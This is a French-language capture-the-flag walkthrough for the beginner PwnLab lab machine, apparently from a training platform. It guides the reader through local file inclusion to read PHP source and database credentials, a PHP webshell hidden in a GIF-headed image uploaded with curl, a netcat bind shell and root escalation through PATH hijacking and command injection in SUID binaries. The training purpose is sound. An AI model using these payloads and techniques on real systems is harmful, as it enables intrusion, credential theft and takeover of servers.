PwnLab est un serveur designé par Claor, disponible sur vulnhub.com. C'est une machine de niveau débutant qui permet de pratiquer le pentesting. Cette VM permet s'entrainer sur l'upload de code PHP via une image, et l'exploitation de LFI. Une première LFI permet de récupérer les codes sources php. Une seconde permet l'execution de code. L'objectif est la lecture du flag root. Accès à la VM La VM n'est pas accessible à partir du xterm [Mon terminal]. Vous devez lancer une Kali sur votre PC et vous connecter avec un tunnel openvpn [Mon accès]. Ou bien, vous pouvez lancer une kali dans le browser [Ma Kali]. Démarrer la VM Vérifiez que la VM est lancée sur la page [VMs], et pingez l'IP à partir de la Kali.
Lancer un nmap sans option
nmap pwnlab
Le flag est la liste des ports ouverts sous la forme: a:b:c
Lancer un nmap avec l'option -sV Le flag est la version du serveur web sous la forme a.b.c
Lancer un nmap avec l'option -sV Le flag est la version du serveur mySQL sous la forme a.b.c
Aller sur le site web : https://yoloctf.org/proxy/pwnlab/ Cliquez sur les liens, et regardez la forme des url. Identifier le paramètre qui a un gros potentiel de LFI Le flag est le nom du paramètre
Identifiez les 2 valeurs de ce paramètre pour le login et l'upload. Trop compliqué ? Sérieux ? Testez https://yoloctf.org/proxy/pwnlab/VALEURDUPARAMETRE.php Vous devinez comment est utilisé la valeur du paramètre dans le code php ?
include (VALEURDUPARAMETRE.'xxxx');
Le flag est la valeur de xxxx.
Relisez https://yoloctf.org/yoloctf/toolbox/toolbox.php?cat=lfi pour revoir comment exploiter une LFI. L'include ajoute une extension, ce qui complique l'exploitation. Regardez particulièrement comment 'récupérer le code source php.' Recupérer le source encodé en base64 de index.php Utilisez les 3 premiers caractères du base64 en tant que flag
Décodez le code source de index.php. Identifiez un cookie qui est utilisé dans un include. Mettez cette belle LFI de coté pour plus tard. Le flag est le nom de ce cookie
Récupérez, décodez puis lisez le code source de login.php. Le flag est la fonction d'encodage utilisée sur $_POST['pass'] avant de l'utiliser dans la requète SQL.
Lisez le code source de login.php. Un fichier php, contenant la config pour se connecter au serveur mysql, est inclus et interprété avec la fonction require(''). Récupérez ce fichier de config. Le flag est le mot de passe
Utilisez ces identifiants pour vous connecter à la base de donnée MySQL. Hacker's guide: MySQL Listez les bases de données. Le flag est le nom de la base de donnée
Utilisez la base de donnée, et listez les tables.
use DATABASE;
show tables;
Le flag est le nom de la table unique de cette base...
Dumpez le contenu de cette table.
SELECT * FROM TABLENAME;
N'oubliez pas de quitter mysql proprement.
exit
Le flag est le nom du premier user
Vous connaissez l'encodage de ces mots de passe, décodez les avec douceur. Le flag est le mot de passe du premier user
Utilisez ces credentials pour vous connecter au site web. Sur votre windows, crééz un fichier backdoor_MONPRENOM.php.
<? system('id'); ?>
Tentez de l'uploader avec l'interface web. Le flag est le premier mot du message d'erreur.
Dans votre xterm, créez un fichier backdoor_MONPRENOM.jpg avec le même contenu:
<? system('id'); ?>
Uploader ce fichier avec curl.
curl -X POST -F 'submit=Upload' -F 'file=@./backdoor_MONPRENOM.jpg' http://pwnlab/?page=upload
Affichez l'interface developpeur de votre navigateur et récupérez la valeur du cookie de session PHPSESSID. Uploader ce fichier avec curl.
curl --cookie 'PHPSESSID=d81320xxxxxxxxxxxxxf4898090a' -X POST -F 'submit=Upload' -F 'file=@./backdoor_MONPRENOM.jpg' http://pwnlab/?page=upload
Le flag est le code du message d'erreur.
Regardez les techniques en https://hacklab.yoloctf.org/yoloctf/toolbox/toolbox.php?id=imgwebshell Créer un fichier backdoor.jpg avec une entête gif valide qui lance la commande php system('id'). Uploader ce fichier. Le flag est le nom du répertoire qui contient le fichier uploadé.
Utilisez la LFI pour récupérer, et lire le code source de upload.php Le flag est l'algorithme utilisé pour calculer le nom du fichier uploadé
Vous vous souvenez du cookie à risque dans la page index.php ? C'est une belle LFI qui va nous permettre d'executer notre webshell.
if (isset($_COOKIE['lang'])) { include("lang/".$_COOKIE['lang']); }
Nous allons utiliser ce cookie pour forcer l'inclusion de notre webshell. Ouvrez une page https://yoloctf.org/proxy/pwnlab/. Ouvre votre proxy [Mon proxy], la dernière entrée est la dernière page ouverte. Selectionnez là. Clickez sur l'icone 'stylo' pour modifier l'entête. Ajoutez un cookie lang avec le chemin de notre webshell. Clickez sur l'icone 'check' pour valider votre modification. Clicker sur Replay en haut à gauche pour relancer la requête. Clicker sur l'onglet 'Response' pour lire la nouvelle réponse. La réponse est de la forme:
GIF89;uid=33(xxxxxxx) gid=33(xxxxx) groups=33(xxxxx)
<html>
<head>
notre shell a bien été éxécuté. Le flag est le compte qui execute notre shell
Affichez le contenu de ce webshell dans un onglet: https://yoloctf.org/yoloctf/toolbox/yopwebshell.php.txt Dans votre xterm, copiez le code du webshell (click droit) dans un fichier webshell.txt avec vi ou nano. Mettez un mot de passe personnalisé. Ajoutez l'entête Gif: GIF89; Renommez le en .jpg Récupérez la valeur du cookie PHPSESSID dans votre navigateur en affichant les outils de developpeur. Uploadez webshell.jpg avec curl:
curl --cookie 'PHPSESSID=d813206d1cba3f5314f0114f4898090a' -X POST -F 'submit=Upload' -F 'file=@./webshell.jpg' http://pwnlab/?page=upload
Créez un cookie de nom 'lang' et de valeur le chemin de cet upload. Exploitez votre backdoor sans oublier de préciser votre mot de passe.
https://hacklab.yoloctf.org/proxy/pwnlab/?page=upload&password=yolo
Choisissez un port et lancez un 'bind shell' avec Netcat option -e. Connectez-vous avec un nc à partir de votre xterm.
nc pwnlab 4444
id
Tant que votre nc est connecté, vous bloquez un serveur apache. En fonction de la configuration il peut y avoir 4, 16, 32 threads... Pour libérer le serveur pour les copains: https://yoloctf.org/yoloctf/toolbox/toolbox.php?id=ncwebfriendly Le flag est le chemin 'pwd' dans lequel s'execute le shell.
Nous avons les login/password des utilisateurs. Utilisons su
su kane
su ne donne rien. Nc n'est pas un tty. Upgradons notre shell avec un tty: https://hacklab.yoloctf.org/yoloctf/toolbox/toolbox.php?id=ncupgrade Une fois passé en kane, se rendre dans son répertoire home. Le flag est le nom d'un fichier avec un gros potentiel situé dans ce répertoire.
Prenons des informations sur ce fichier
file msxxxxx
ls -al msxxxxx
strings msxxxxx
Le fichier est de type executable binaire, compilé avec gcc. Il possède un sticky bit. Toute commande sera lancé avec l'id du propriétaire. string, nous montre une commande shell hardcodée qui va afficher un fichier. Le flag est le nom de la commande shell que nous allons exploiter.
Créer un répertoire temporaire dans /tmp, et y placer un programme de même nom que la commande, qui ouvre un shell sh.
mkdir /tmp/.zedfty
echo "/bin/sh" > /tmp/.zedfty/cxx
chmod a+x /tmp/.zedfty/cxx
Placer ce répertoire en tête de notre PATH
export PATH=/tmp/.zedfty:$PATH
which cxx
Dans le répertoire de kane, lancer ./msxxxx Le flag est l'id dans le nouveau shell.
Se rendre dans /home/mike et analyser le programme avec sticky bit.
file msxxxxxx
strings msxxxxx
Une commande shell est hardcodée juste après 'Message for root' Le flag est le nom de la commande avant le %s
Le %s va permettre une injection de commandes shell. Le flag est le caractère qui sépare deux instructions en shell
Exploitez msxxxx avec une injection de commande pour ouvrir un shell /bin/sh, ou bash -p Le flag est le titre du message en /root/flag.txt Pro tips: votre PATH est toujours particulier... Pro tips: bash drop les privilègues, -p permet de les garder Pensez à faire le menage. Effacez vos webshell, votre répertoire dans /tmp. Merci :)